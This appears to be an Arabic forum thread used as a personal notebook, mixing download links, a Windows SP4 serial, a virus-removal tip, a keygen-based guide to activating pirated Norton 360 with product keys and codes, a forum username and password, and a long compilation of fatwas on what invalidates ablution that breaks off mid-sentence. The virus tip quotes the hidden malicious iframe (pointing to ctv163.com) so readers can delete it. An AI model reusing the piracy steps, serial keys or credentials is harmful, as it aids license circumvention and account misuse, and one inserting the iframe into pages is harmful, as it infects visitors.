|
|||||||
للإتصال بالإدارة عند حدوث أي مشكلة أو إبداء رأي
 الإهداءات |
 |
|
|
أدوات الموضوع | انواع عرض الموضوع |
10-21-2008, 06:55 PM
|
#21 | ||||
|
= تعليم اللغة الهولنديه http://www.internetpolyglot.com/arab...son-2001201045 ======= موقع لكل القنصليات والسفارات في العالم http://www.esteri.it/visti/rilascio_eng.asp = Command.And.Conquer.Red.Alert.3-RELOADED + Cracked + 100% Workin التحميل من منتدى القراصنه http://thepiratebay.org/ مشكلة شخصية عانيت منها وهي فايروس ممكن يتعرض الو اي شخص بيتعامل مع الانترنت والي عندهن مواقع ومبرمجين المواقع اعراض الفايروس دخول فايروس على الجهاز فور فتح صفحة انترنت وعدم فتح الصفحة وانتقالها لروابط مالها علاقة بالموقع سبب هالمشكلة هي عبارة عن ملف يزرع داخل الجهاز ويقوم باضافة كود على معظم ملفات الــ html والphp الكود هو عبارة عن كود فتح موقع داخل الفورم الي انت فاتحو يعني تحميل موقع داخل الصفحة الي انت فاتحها طريقة كشف الفايروس وازالته اما مضاد فايروس متخصص بالانترنت ممكن استخدام مضاد جديد اسمو NOD32 مضاد الفايروس رح يحذف الملف بالكامل وهي مشكلة لانو ممكن تكون معظم ملفاتك مصابة ورح تكون ملفات مهمة ومستحيل اعادة جمعها طريق تنظيف الملف يدويا اولا لازم نعرف شو هو الكود الي سبب هالشي وحذف هالكود بتقوم بتحرير عن طريق المفكرة اكثر ملفات الانترنت استخداما من قبلك phpاو htm وبتبحث عن الكود التالي : <iframe src="http://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe> اذا وجدتو باي ملف معنها معظم الملفات على الجهاز مصابة ولاز تنظف اي ملف قبل استخدامو طريقة التنظيف بسيطة وهي حذف الكود الموجود فوق بالكامل من الملف ويصبح الملف جاهز للاستخدام ================== sp4 http://forum.sh3bwah.maktoob.com/sho....php?p=1732313 sp4 السريال DDTPV-TXMX7-BBGJ9-WGY8K-B9GHM =========== sp4 لتحميل النسخة من علي 7 سيرفرات مختلفة : http://www.klamaraby.com/link/AVXa5hooAA http://www.klamaraby.com/link/8pb3B http://www.klamaraby.com/link/m7l http://www.klamaraby.com/link/kFl http://www.klamaraby.com/link/1kV911fVo http://www.klamaraby.com/link/Pr8l http://www.klamaraby.com/link/Tjq2FUrL2 http://www.klamaraby.com/link/ka3d050h2 http://www.klamaraby.com/link/97l http://www.klamaraby.com/link/5G527q2eJ ========== For NOD32 Smart Security v. 3.0.621 + Update Patch RapidShare: Easy Filehosting For NOD32 Antivirus v. 3.0.621 + Update Patch RapidShare: Easy Filehosting ============= |
||||
|
|
10-22-2008, 10:56 AM
|
#22 | ||||
|
منتدى http://3rrosse.com/vb/forumdisplay.php?f=109 حساب يوزر= moaead-absba الباس= just4absba ========== http://www.microsoft.com/downloads/B...n&categoryid=1 ======== هنا نضع كل ماهو مفيد من الانترنت وخصوصياتها opera اوبرا جيد جدا http://www.opera.com/download/get.pl...++++&x=50&y=41 دومنو http://www.ziddu.com/download/2467008/dominoes.rar.html http://www.zshare.net/download/502005781b842376/ =======  التحميل من هنا RapidShare: Easy Filehosting هذا التحميل من صنعي norton 360 الجديد ==== الشرح ========== نورتون 360 الكل في واحد الأمن -- الإصدار التجزئة تعليمات التثبيت 1. Unrar ، او حرق تتزايد (اختياري) ولكني وضعته لكم هنا من غير حرق الاسطوانه 2. قطع الاتصال من الانترنت! وهذا أمر مهم! 3. تشغيل المثبت ، وتشغيل مفتاح جنرال الموجودة في دير إيدج. 4. نسخة من مفتاح المنتج الرئيسي لجنرال نورتون الإعداد ثم اضغط فإن أوافق على زر.. 5. استكمال تركيب وستحصل في النهاية إلى تفعيل ، انه من المهم ان لا علاقة لها على شبكة الإنترنت! اضغط على زر التالي. 6. رسالة مربع يخرج أقول لك إن كنت بحاجة الإنترنت الاستمرار في التواصل ، فقط اضغط على زر موافق ، ثم اضغط زر التالي. 7. سوف تحصل على جزء حيث يحاول الاتصال بالإنترنت لتفعيل الإنترنت ، وبعد حين سوف تفشل ، هذا أمر جيد ، أكرر هذه الخطوة مرة أخرى. 8. بعد محاولة القيام الإنترنت تفعيل مرتين ، فإنه سيفشل وفتح نافذة المتصفح ، تغلق نافذة المتصفح واضغط على أن كبيرة في الدهون زر مفتاح جنرال تقول "انقر هنا لتمكين الهاتف تفعيل! ". 9. وإذا كان عن طريق الهاتف السحرية تفعيل فجأة تم تمكين ، اضغط على زر التالي. 10. الآن نسخ اطلب الرقم 36 في قانون الطلب في مجال القانون الرئيسية جنرال ، لا شرطات أو مساحات واحد فقط من الرقم 36 في سلسلة طويلة. اختيار عدد السنوات التي تريد الترخيص للبرمجيات ، و اضغط على الزر لتوليد احصل إفتح المدونة. 11. نسخ إفتح المدونة ولدت لتفعيل نورتون الشاشة ، ثم اضغط على زر التالي. 12. تتمتع نسخة مقفلة تماما ، وبطبيعة الحال هذا لا يسجلون مع برمجيات سيمانتيك نورتون في الشركة ، يمكنك الآن إعادة الاتصال إلى شبكة الإنترنت لتحديث المنتج FETURES : نورتون 360 تنص على الكل في واحد وتبقي الحماية لكم ، عائلتك ، الكمبيوتر ، والمعلومات الخاصة بك آمنة. ويجمع هذا الحل الشامل ثبت سيمانتيك ، الرائدة في صناعة أجهزة الكمبيوتر الشخصية والأمن ومتابعة انسجاما مع التكنولوجيات الجديدة ، والعودة إلى antiphishing الملامح ، وتوفير الحماية الكاملة للدائرة. نورتون 360 هو حل أمني شامل الاستهلاكية التي توفر حماية كاملة ويلغي الحاجة لشراء وإدارة منتجات متعددة. * يدافع جهازك ضد مجموعة واسعة من التهديدات * الضمانات ضد سرقة الهوية على الإنترنت * يحمي من فقدان ملفات هامة * يحافظ على جهازك استعد لذروة الأداء * تقدم سهلة وخالية من تجربة المستخدم * يحمي من أحدث التهديدات على الإنترنت ميزات الأعلى * إزالة الفيروسات من البريد الالكتروني والرسائل الفورية * الخانتان الإنترنت الديدان في نقطة الدخول * توقف تتبع لكم من برامج التجسس على الانترنت * يصدق الشعبية للتسوق ومواقع البنوك على شبكة المعلومات * هل يحمي من مواقع التصيد تهدف إلى سرقة المعلومات السرية الخاصة بك * يكتشف جديدة تدعم الملفات والبيانات تلقائيا * تلقائيا نسخة احتياطية لملفات هامة آمنة على الانترنت * الدعم المحلية لمؤتمر نزع السلاح ، دي في دي أو خارجية حملة * تلقائيا تزيل فوضى غير المرغوب فيها على الإنترنت والملفات المؤقتة التي يمكن أن تبطئ أداء الكمبيوتر ======= على سبيل المثال كما عملت انا حينما فتحت البرنامج ========== وضعت هذا وجعلت المده 11 عام المده هذا في اول القيام بتشغيل البرنامج على سبيل المثال TCMPK-8HXQT-2Q4YQ-CP3X4-6HQC3 وضغطت على كلمة cd start او اخترت واحد اخر TJF66-8TRCB-D24K6-TWF4W-KYD68 === تجد هذه الارقام بعد المحاولات العديده التي نقرت على كلمة next فتجد هذه الارقام على سبيل المثال 302815 204985 611136 765445 405060 560836 ثم حاول ان تجمعها وتبعد عنها الفواصل والخطوط هكذا 302815204985611136765445405060560836 ثم ضعها على الكراك على مكان اسمه request code + unloc code ضع في المكان الفراغ ثم تخرج لك في الكراك احرف كثيره ثم انسخها على مكان الموجود على برنامج نورتن بالتساوي بالاحرف 0CED84 552F18 8EDDDD 5993D9 24ACEC 0C709A C1575B C9173D F5EFAF ثم بعد نهاية التفعيل يخرج هذا TJF668TRCBD24K6TWF4WKYD68 ثم في النهاية من التفعيل يقول لك يجب ان تحتفض بهذا الرقم الذي اخرج لك نحن لسنا مسؤلون عن فقدانه والله يوفق الجميع ========= مشكلة الالعاب وشاشة الكمبيوتر http://www.startimes2.com/f.aspx?t=14450970 ===== لعبة سيارات Race driver GRID http://www.4shared.com/get/81434864/...050EDC8DA.dc90 ====== اقوى الالعاب http://www.absba.org/vb/showthread.php?t=631605 ===== |
||||
|
|
|
04-04-2009, 11:59 PM
|
#24 | ||||
|
مبطلات الوضوء المسألة 1: الأمور التي تبطل الوضوء سبعة: الأول: البول. الثاني: الغائط. الثالث: الريح الخارج من مخرج الغائط إذا كان من المعدة والأمعاء. الرابع: النوم الغالب على السمع والبصر بحيث لا تسمع الأذن ولا ترى العين، أما إذا سمعت الأذن ورأت العين فلا يبطل الوضوء. الخامس: كل ما يزيل العقل، من سكر أو جنون أو إغماء. السادس: الاستحاضة ـ التي يأتي بيانها مفصلاً ـ. السابع: كل ما أوجب الغسل كالجنابة. ============ سؤال هل لمس الرجل لزوجته مبطلا للوضوء او القبله ؟ الجواب كاتب الموضوع : عقل شهيد المنتدى : المحور الشرعي رد : سؤال حول مبطلات الوضوء ___________________________________________ أخى الكريم من فتاوى اللجنة الدائمة للافتاء فى السعودية ما يلى: "الصحيح من أقوال العلماء أن لمس المرأة أو مصافحتها لا ينقض الوضوء مطلقا , سواء كانت أجنبية أم زوجة أم محرما لأن الأصل استصحاب الوضوء حتى يثبت من الشرع ما يدل على نقضه ولم يثبت ذلك في حديث صحيح , وأما الملامسة في قوله : (( يا أيها الذين آمنوا إذا قمتم إلى الصلاة فاغسلوا وجوهكم وأيديكم)) إلى قوله (( وإن كنت مرضى أو على سفر أو جاء أحد منكم من الغائط أو لامستم النساء فلم تجدوا ماء فتيمموا صعيدا طيبا فامسحوا بوجوهكم وأيديكم منه )) المائدة : 6 فالمراد بها الجماع على الصحيح من أقوال العلماء" وجاء فى مذكرات العلامة الدكتور يوسف القرضاوى حفظه الله ما نصه "وقد كان المعتاد لعلماء قريتنا في دروس الفقه: أن يدرسوه على مذهب الشافعي، حتى العلماء الأحناف يدرسون الفقه على المذهب الشافعي، تأسيسا على أن مذهب عوام القرية هو الشافعي، مع أن مذهب المحققين من العلماء: أن العامي لا مذهب له، وإنما مذهبه مذهب من يفتيه. ومن المعلوم أن مذهب الإمام الشافعي أشد المذاهب المتبوعة في العبادات، ولا سيما في مسائل الطهارة والنجاسة، حتى قال الإمام أبو حامد الغزالي في (الإحياء) معلقا على مذهب الشافعي ـوهو شافعيّ ـ في مسائل الطهارة: كنت أود أن يكون مذهبه في المياه كمذهب مالك، وقوى مذهب مالك بسبعة أوجه. لهذا اخترت أن أدرس الفقه غير ملتزم بمذهب الشافعي، بل على طريقة (فقه السنة) للشيخ "سيد سابق"، وقد ظهر الجزء الأول منه في الطهارة، وقدّم له حسن البنا، و(الدين الخالص) للعالم الكبير الشيخ محمود "خطاب السبكي"، مؤسس الجمعية الشرعية في مصر. وكان هذا النهج مخالفا لما ألفه الناس من علماء القرية قبلي، كما كان من ثمرته آراء جديدة، استغربها الناس في أول الأمر، وإن وجدوا فيها كثيرا من التيسير والتسهيل عليهم، مثل القول بأن كل ما يؤكل لحمه فبوله وروثه طاهر، وهو مذهب مالك، ورجحه ابن تيمية وابن القيم من الحنابلة. والقول بأن الماء إذا وقعت فيه النجاسة ـوإن كان قليلا ـ لا ينجس إلا بتغير طعمه أو لونه أو رائحته، فإن الله خلق الماء طهورا لا ينجسه شيء، كما دل عليه حديث بئر بضاعة وغيره. وكذلك القول بأن لمس المرأة لا ينقض الوضوء، كما هو مذهب أبي حنيفة وأصحابه. وقد أحدثت هذه الآراء ضجة في القرية، وعزّ على بعض الناس أن يخالفوا ما ألفوه وتوارثوه من قديم الزمان، وقال بعض العوام المتنورين من ملازمي المشايخ القدامى ودروسهم: كيف يخالف هذا الشاب الذي لا يزال طالبا كبار المشايخ من علماء المعاهد وكليات الأزهر، ويأتينا بهذه الآراء الجديدة والغريبة؟ واحتشد عدد منهم ليناقشوني، ورحبت بهذا النقاش، وقلت لهم: بيني وبينكم كتاب الله وسنة رسوله (صلى الله عليه وسلم)، وإني لا أختار رأيا في مسألة إلا وقد قال به إمام من أئمة المسلمين، فلا أخرج على إجماع أبدا. وكان أول مسألة جادلوني فيها هي قضية عدم نقض الوضوء بلمس المرأة. وقالوا: مذهب الشافعي هو الموافق للقرآن الذي قال: "أو لامستم النساء فلم تجدوا ماء فتيمموا صعيدا طيبا" (المائدة:7). قلت لهم: اختلف الصحابة والتابعون في المراد باللمس أو الملامسة في هذه الآية، فأخذ ابن عمر بظاهر اللفظ، وأن اللمس أو الملامسة هو وضع البشرة على البشرة، وقال ابن عباس: المس واللمس والملامسة في القرآن كناية عن الجماع، ولكن الله تعالى حيي كريم يكني عما شاء بما شاء. وابن عباس هو ترجمان القرآن، ودعا له النبي صلى الله عليه وسلم أن يعلمه التأويل، ويؤيد تأويله قوله تعالى: "يَا أَيُّهَا الَّذِينَ آمَنُوا إِذَا نَكَحْتُمُ الْمُؤْمِنَاتِ ثُمَّ طَلَّقْتُمُوهُنَّ مِن قَبْلِ أَن تَمَسُّوهُنَّ فَمَا لَكُمْ عَلَيْهِنَّ مِنْ عِدَّةٍ تَعْتَدُّونَهَا فَمَتِّعُوهُنَّ وَسَرِّحُوهُنَّ سَرَاحًا جَمِيلاً" (الأحزاب: 49) فالمراد بالمس هنا: الدخول بالمرأة. وقد تكرر هذا في القرآن. ومثال ذلك قول مريم عليها السلام: "ولم يمسسني بشر ولم أك بغيا" (مريم: 20)، ثم إن الآية على فهم ابن عباس تكون قد أشارت إلى الحدث الأصغر الذي كَنَّت عنه بقولها: "أو جاء أحد منكم من الغائط" ومن الحدث الأكبر، الذي كنّت عنه بقولها: "أو لامستم النساء" بخلاف الفهم الآخر، فلا يكون في الآية أي دلالة على التيمم من الحدث الأكبر. ثم ذكرت لهم الحديث الذي يبين: أن عائشة رضي الله عنها لمست باطن قدم النبي صلى الله عليه وسلم، وهو في صلاته، ولم يخرج منها، ولو كان لمسها ناقضا للوضوء لخرج من الصلاة، وجدد وضوءه، والقول بأنه كان بحائل خروج عن الظاهر، لا دليل عليه. ولو أخذنا بظاهر الآية "أو لامستم النساء"كما أخذ الشافعي، لوجب أن ينتقض الوضوء بلمس المرأة المحرم كالأم والأخت والابنة، لأنهن من النساء، كما هو رأي الظاهرية. وبعد هذه المناقشة الساخنة، لم يجد المعارضون في أيديهم حجة، وقالوا: هل نستطيع أن نجادل أزهريا؟ قلت لهم: نحن أسرى الأدلة، فمن كان معه الدليل فهو الأقوى والأبقى. وشاع هذا الفقه الجديد في القرية حتى بين نسائها، وإن كن لا يحضرن هذه الدروس، ولا سيما أن لمس المرأة ونقضها لوضوء الرجل، كثيرا ما كان يحدث مشكلة بين الرجال وزوجاتهم، وخصوصا في فصل الشتاء، عندما يجيء الرجل من الحقل، ويذهب إلى المسجد، ويتوضأ لصلاة المغرب، ثم يصليها، ويعود إلى بيته للعَشاء كالعادة، وفي أثناء تقديم الطعام قد تلامس المرأة يد زوجها خطأ، وهنا يغضب الرجل، ويثور على امرأته التي أضاعت وضوءه، وهذا يكلفه وضوءا جديدا في هذا البرد الشديد، وكثيرا ما يقع شجار، ويشب حريق في البيت بسبب هذا الأمر. وقد حدثني بعض المستنيرين منهم أن فلانا من القرية كاد يحدث هذا الشجار بينه وبين زوجته بسبب هذا اللمس الخطأ، وما كاد يصرخ في زوجته حتى قالت له: هوِّن عليك. صل على مذهب الشيخ يوسف! والحقيقة أنه ليس مذهب الشيخ يوسف، إنما هو مذهب الإمام أبي حنيفة وأصحابه، بل هو مذهب الإمام مالك وأحمد فيمن لمس بغير شهوة. كما في هذه القضية." == مبطلات الوضو ء [ 16 ] 1 § السؤال : شخص تتقشّر جلدة فروة رأسه فتتطاير القشور فهل ذلك يعدّ حاجباً من وصول الماء؟ § الجواب : لا يحجب. 2 § السؤال : توضأت للصلاة وأتممت الوضوء وبعدها حملت زجاجة وأصابني جرح بسيط في أصبعي ونزف الدم بكمية ضئيلة جداً وأزلت الدم بمنديل، (وصلّيت) فهل يعتبر الدم هنا ناقض للوضوء؟ § الجواب : لا ينقص الوضوء. 3 § السؤال : هل الحبر يبطل الوضوء؟ § الجواب : لا يمنع ولكن إذا إحتملت المانعيّة فتجب إزالته أو تخفيف كثافته. 4 § السؤال : هل الغسلة الثالثة للوجه واليدين او المسح اكثر من مرّة علی الرأس والرجلين تبطلان الوضوء؟ § الجواب : الغسلة الثالثة لليد اليسری تبطل. 5 § السؤال : ما هي مبطلات الوضوء؟ § الجواب : إذا أتى الانسان بواحد من الامور المذكورة أدناه بطل وضوؤه : 1- خروج البول ، سواء أكان خروجها من الموضع الأصلي أم من غيره مع انسداد الموضع الأصلي . 2- النوم الغالب على السمع. 3- ما يزيل العقل ، كالجنون والسكر والإغماء دون مثل البهت. 4- الاستحاضة المتوسطة والقليلة للنساء . 5- الجنابة ، فهي تنقض الوضوء ، وإن كانت لا توجب إلاّ الغسل. 6 § السؤال : هل استخدام المحارم الورقية لتنظيف الانف بعد الوضوء اوبين فرضي الصلاة يبطل الوضوء ام لا ؟ § الجواب : لا يبطل . 7 § السؤال : هل يعد ما يأتي من موانع الوضوء: 1 ـ السواد الناتج من استعمال الفحم. 2 ـ الوشم المتعارف عند الناس بالرسم على بعض اعضاء الجسم. 3 ـ القشرة الدهنية الموجودة على بشرة الرأس الناتجة من افراز الجلد. 4 ـ العجين الداخل بين الاظفار. 5 ـ القيح المتجمع في اطراف العين ؟ § الجواب : 1 ـ 3 ـ لا يمنع. 4 ـ يمنع اذا لم يحسب من الداخل. 5 ـ يمنع. 8 § السؤال : بعد ازالة الحاجب يبقي اثر من اللون فهل هذا يعتبر حاجب؟ § الجواب : ليس حاجباً. 9 § السؤال : هل الجاف والحبر يعتبر حاجب في الوضوء و الغسل؟ § الجواب : الحبر ليس حاجبا والجاف يجب ازالة جرمه ولايضر اللون. 10 § السؤال : اذا كان حبر القلم يصعب ازالته هل يجوز الصلاة به ؟ § الجواب : اذا لم يكن له جرم مثل قلم الحبر فلا مانع من الوضوء به واما اذا كان ذا جرم يمنع من وصول الماء الی البشرة فلا بد من ازالته ولا مانع من بقاء اللون . == السؤال سؤالي: عن الزوج إذا توضأ ثم شاهدت زوجته عورته أو بالعكس هل تجوز الصلاة حينئذ أم يلزم إعادة الوضوء. الحمد لله والصلاة والسلام على رسول الله وعلى آله وصحبه أما بعد: فمجرد النظر إلى العورة لا يبطل الوضوء، والصلاة به صحيحة، ولا يجب على الناظر إعادة الوضوء، لأن الأمر بإعادته تكليف، ولاتكليف إلا بنص، ولم يرد في الشرع ما يدل على أن النظر إلى العورة يبطل الوضوء أو الصلاة فكان الأصل عدمه. والله أعلم. المفتـــي: مركز الفتوى == نواقض الوضوء (377) المحاور الفرعية التصنيف عدد الفتاوى الخارج من السبيلين 70 النوم 5 مس المرأة 73 مس الذكر 24 خروج الدم 11 القيء 6 أكل لحم الإبل 15 أحكام أخرى 71 المتوضئ إذا مس كلبا أو أصابه لعابه هل يبطل الوضوء بملامسة النجاسة حكم السائل الأصفر الذي يخرج من الرجل إدخال الدواء في البدن هل ينقض الوضوء الشك في خروج الريح هل ينتقض الوضوء بخروج نقطة الدم أو مسها للجسد مجرد خروج المذي لا يوجب الوضوء إلا إذا أراد فعل عبادة يشترط لها الوضوء هل ينتقض الوضوء بالتدخين لمس الدم هل ينقض الوضوء تحليل الدم هل ينقض الوضوء وحكم الكدرة في زمن الحيض مس المرأة فرج طفلها هل ينقض وضوءها أثر خروج العرق على صحة الوضوء لمس زوجة الأخ هل ينقض الوضوء حكم بيع ومس لحم الخنزير وهل ينقض الوضوء مس الفرج بحائل شفاف هل ينقض الوضوء من نواقض الوضوء استعمال مثبتات الشعر المشتملة على كحول بعد الوضوء مس الفخذ هل ينقض الوضوء تقليم الأظافر بأي وسيلة لا ينقض الوضوء مس عورة الابن المعاق هل ينقض الوضوء خروج الإفرازات المهبلية من المرأة نزع الحجاب لا يبطل الوضوء حبس الريح لا ينقض الوضوء من تيقن الطهارة والحدث وشك في السابق الماسكرا لا تنقض الوضوء بنفسها اسلام وب http://www.islamweb.net/ver2/Fatwa/F...g=A&CatId=1236 == هل مس الذكر يبطل الوضوء فمسألة نقض الوضوء بمس الذكر من المسائل التي يسوغ فيها الخلاف، قال ابن قدامة في المغني: ونبدأ بالكلام في مس الذكر، فإنه آكدها. فعن أحمد فيه روايتان: إحداهما، ينقض الوضوء. وهو مذهب ابن عمر وسعيد بن المسيب وعطاء وأبان بن عثمان وعروة وسليمان بن يسار والزهري والأوزاعي والشافعي، وهو المشهور عن مالك، وقد روي أيضا عن عمر بن الخطاب وأبي هريرة وابن سيرين وأبي العالية. والرواية الثانية، لا وضوء فيه. روي ذلك عن علي وعمار وابن مسعود وحذيفة وعمران بن حصين وأبي الدرداء، وبه قال ربيعة والثوري وابن المنذر، وأصحاب الرأي؛ لما روى قيس بن طلق، عن أبيه، قال: قدمنا على نبي الله صلى الله عليه وسلم فجاء رجل كأنه بدوي، فقال: يا رسول الله ما ترى في مس الرجل ذكره بعدما يتوضأ ؟ فقال: وهل هو إلا بضعة منك أو مضغة منك. رواه أبو داود والنسائي، والترمذي، وابن ماجه ; ولأنه عضو منه، فكان كسائره، ووجه الرواية الأولى ما روت بسرة بنت صفوان أ ن النبي صلى الله عليه وسلم قال: من مس ذكره فليتوضأ، وعن جابر مثل ذلك. وعن أم حبيبة، وأبي أيوب قالا: سمعنا رسول الله صلى الله عليه وسلم يقول: من مس فرجه فليتوضأ. وفي الباب عن أبي هريرة رواهن ابن ماجه. وقال أحمد: حديث بسرة وحديث أم حبيبة صحيحان. وقال الترمذي: حديث بسرة حسن صحيح. وقال البخاري: أصح شيء في هذا الباب حديث بسرة. وقال أبو زرعة: حديث أم حبيبة أيضا صحيح وقد روي عن بضعة عشر من الصحابة رضوان الله عليهم. فأما خبر قيس فقال أبو زرعة، وأبو حاتم: قيس ممن لا تقوم بروايته حجة ثم إن حديثنا متأخر ; لأن أبا هريرة قد رواه، وهو متأخر الإسلام، صحب النبي صلى الله عليه وسلم أربع سنين، وكان قدوم طلق على رسول الله صلى الله عليه وسلم وهم يؤسسون المسجد أول زمن الهجرة، فيكون حديثنا ناسخا له. وقياس الذكر على سائر البدن لا يستقيم ; لأنه تتعلق به أحكام ينفرد بها ; من وجوب الغسل بإيلاجه والحد والمهر، وغير ذلك. انتهى وعليه؛ فالمسألة محل خلاف بين أهل العلم، وقد ذكرنا في الفتوى رقم: 54037، أن الراجح نقض الوضوء بمس الذكر بالكف مباشرة. والشخص العامي العاجز عن النظر في أدلة المجتهدين مخير في أخذ أي القولين شاء . وراجع الفتوى رقم: 6787، لمعرفة كلام أهل العلم في ذلك. والله أعلم == اكل الابل يبطل الوضوء فالراجح أن أكل لحم الجزور ناقض للوضوء بدليل ما رواه الإمام مسلم في صحيحه من حديث جابر بن سمرة أن رجلا سأل رسول الله صلى الله عليه وسلم: أأتوضأ من لحوم الغنم؟ قال: إن شئت فتوضأ وإن شئت فلا توضأ، قال: أتوضأ من لحوم الإبل؟ قال: نعم فتوضأ من لحوم الإبل. وما ذكرت كونه حديثا لم نقف عليه بهذا اللفظ، كما لم يثبت كون الأمر بالوضوء من لحم الجزور كان بالمناسبة التي ذكرت، بل كان سببه هو سؤال الرجل عن ذلك كما سبق في حديث مسلم. وراجع الفتوى رقم: 36360. والفتوى رقم: 29089. والله أعلم. ==== من أكل لحما لا يدري هل هو لحم إبل أم غيره لا وضوء عليه. الحمد لله والصلاة والسلام على رسول الله وعلى آله وصحبه، أما بعـد: فمن أكل لحما لا يدري هل هو لحم إبل أم غيره فلا يلزمه الوضوء لأن الأصل صحته حتى يثبت ما يدل على البطلان، وإن تحقق كونه لحم إبل فالجمهور على صحة الوضوء أيضا وإن كان البعض يقول ببطلانه، ======= نواقض الوضوء إذا غيرت ثوبي (ملابسي) فهل ينتقض وضوئي بذلك ؟ وهل ورد أي تفريق حول هذا الحكم بين الرجل والمرأة ؟. الحمد لله ليس من نواقض الضوء تغيير الثياب إذا كان الشخص على طهارة لم يأت بأي ناقض من نواقض الوضوء ، والرجل والمرأة في ذلك سواء . والله أعلم ونواقض الوضوء هي : 1- الخارج من السبيلين ( من بول وغائط وريح وغيرها ) إلا خروج الريح من قُبل المرأة فإنه لا ينقض الوضوء . 2- خروج البول والغائط من غير مخرجهما . 3- زوال العقل ، ويكون إما بزواله بالكلية ، وهو رفع العقل وذلك بالجنون ، أو تغطيته بسبب يوجب ذلك لمدة معيّنة كالنوم والإغماء والسكر وما أشبه ذلك . 4- مس الذَّكَر ، لحديث بسرة بنت صفوان أنها سمعت رسول الله صلى الله عليه وسلم يقول : ( من مسّ ذكره فليتوضأ ) رواه أبو داود ( الطهارة/154 ) قال الألباني في صحيح سنن أبي داود صحيح برقم (166) 5- أكل لحم الإبل ، لحديث جابر بن سمرة أن رجلاً سأل النبي صلى الله عليه وسلم : ( أنتوضأ من لحوم الإبل ؟ قال : نعم . ) رواه مسلم ويراجع كتاب الشرح الممتع لابن عثيمين ج/1 ص/219-250 وفتاوى اللجنة الدائمة ج/5 ص/264 . الإسلام سؤال وجواب الشيخ محمد صالح المنجد ---- عن طلق بن علي -رضي الله تعالى عنه- قال: قال رجل: مسست ذكري، أو قال: الرجل يمس ذكره في الصلاة أعليه وضوء؟ فقال النبي -عليه الصلاة والسلام-: لا إنما هو بضعة منك أخرجه الخمسة، وصححه ابن حبان، وقال ابن المديني: هو أحسن من حديث بسرة. وعن بسرة بنت صفوان -رضي الله تعالى عنها- أن رسول الله -صلى الله عليه وسلم- قال: من مس ذكره فليتوضأ أخرجه الخمسة، وصححه الترمذي، وابن حبان، وقال البخاري: هو أصح شيء في هذا الباب. ====== حديث: "من غسل ميتا فليغتسل، ومن حمله فليتوضأ " وعن أبي هريرة -رضي الله عنه- قال النبي -صلى الله عليه وسلم-: من غسل ميتا فليغتسل، ومن حمله فليتوضأ أخرجه أحمد، والنسائي، والترمذي وحسنه، وقال أحمد: لا يصح في هذا الباب شيء. قال: وعن أبي هريرة -رضي الله تعالى عنه- قال: قال النبي -صلى الله عليه وسلم-: من غسل ميتا فليغتسل ومن حمله فليتوضأ أخرجه أحمد، والنسائي، والترمذي وحسنه، وقال أحمد: لا يصح شيء في هذا الباب. هذا الحديث معناه أن النبي -صلى الله عليه وسلم- يأمر كل أحد غسل ميتا بأن قلّبه، شارك في تغسيله بالتقليب، ومس بدنه، ونحو ذلك، أمره بالاغتسال، ومن حمل الميت -يعني بالمباشرة- أو حمله على نعشه فإنه يتوضأ. ===== هل الأكل والشرب ينقض الوضوء وما هي النواقض . ولكم مزيد من الشكر. والسلام عليكم ورحمة الله وبركاته. الفتوى الحمد لله والصلاة والسلام على رسول الله وعلى آله وصحبه أما بعد: فإن الأكل والشرب ليسا من نواقض الوضوء، مالم يكن المأكول لحم إبل، وذلك لأن نواقض الوضوء محصورة في ثمانية أمور بالاستقراء، بعضها متفق عليه وبعضها مختلف فيه وهي: 1- الخارج من السبيلين قليلاً كان أو كثيراً طاهراً أو نجساً، لقوله تعالى: (أو جاء أحد منكم من الغائط ) [النساء: 43] ولقوله صلى الله عليه وسلم: "فلا ينصرف حتى يسمع صوتاً أو يجد ريحاً،" متفق عليه. 2- سيلان الدم الكثير أو القيح أو الصديد أو القيء الكثير كما يرى الحنفية والحنابلة، لما رواه الإمام أحمد والترمذي من أنه صلى الله عليه وسلم قال: " من أصابه قيء أو رعاف أو قلس أو مذي فليتوضأ،" أخرجه ابن ماجه. والراجح عدم النقض؛ لضعف الحديث 3- زوال العقل بجنون أو تغطيته بسكر أو إغماء أو نوم لقوله صلى الله عليه وسلم: " العين وكاء السه فمن نام فليتوضأ،" رواه أحمد وابن ماجه بإسناد حسن ما لم يكن النوم يسيراً عرفاً من جالس أو قائم فلا ينقض حينئذ، لقول أنس: كان أصحاب رسول الله صلى الله عليه وسلم ينا مون ثم يصلون ولا يتوضؤون". رواه مسلم والمقصود أنهم ينامون جلوساً ينتظرون الصلاة كما هو مصرح به في بعض روايات هذا الحديث. 4- مس القبل أو الدبر باليد بدون حائل، لقوله صلى الله عليه وسلم: "من مس فرجه فليتوضأ رواه أحمد والنسائي وابن ماجه. 5- لمس الرجل لبشرة المرأة أو لمسها لبشرته بشهوة لقوله تعالى: (أو لا مستم النساء) [النساء: 43]. والأظهر عدم نقضه للوضوء، وأن المقصود بالملامسة الجماع. 6- أكل لحم الإبل لحديث جابر بن سمرة رضي الله عنه أن رجلاً سأل رسول الله صلى الله عليه وسلم: أنتوضأ من لحم الغنم؟ قال: "إن شئت فتوضأ، وإن شئت لا تتوضأ"، قال: أنتوضأ من لحوم الإبل؟ قال: نعم توضأ من لحوم الإبل". رواه مسلم. 7- غسل الميت، لأن ابن عمر وابن عباس كانا يأمران غاسل الميت بالوضوء، وقال أبو هريرة: أقل ما فيه الوضوء. 8- الردة عن الإسلام، لقوله تعالى:( لئن أشركت ليحبطن عملك [الزمر:65]. والله تعالى أعلم. === كتاب الطهارة باب نواقض الوضوء حديث: "كان رسول الله صلى الله عليه وسلم يذكر الله على كل أحيانه" حديث: "أن النبي صلى الله عليه وسلم احتجم وصلى ولم يتوضأ" حديث: "العين وكاء السه فإذا نامت العينان استطلق الوكاء " حديث: "يأتي أحدكم الشيطان في صلاته " حديث: "كان أصحاب رسول الله صلى الله عليه وسلم على عهده ينتظرون العشاء " حديث: " لا إنما ذلك عرق وليس بحيض" حديث: "كنت رجلا مذاء فأمرت المقداد أن يسأل النبي صلى الله عليه وسلم " حديث: "أن النبي صلى الله عليه وسلم قبل بعض نسائه ثم خرج إلى الصلاة " حديث: "إذا وجد أحدكم في بطنه شيئا فأشكل عليه " حديث: " لا إنما هو بضعة منك " حديث: "من أصابه قيء أو رعاف أو قلس أو مذي فلينصرف فليتوضأ " حديث: "أن رجلا سأل النبي صلى الله عليه وسلم : أتوضأ من لحوم الغنم؟ " حديث: "من غسل ميتا فليغتسل، ومن حمله فليتوضأ " حديث: "ألا يمس القرآن إلا طاهر" = يث: "ألا يمس القرآن إلا طاهر" - وعن عبد الله بن أبي بكر -رضي الله عنه- أن في الكتاب الذي كتبه رسول 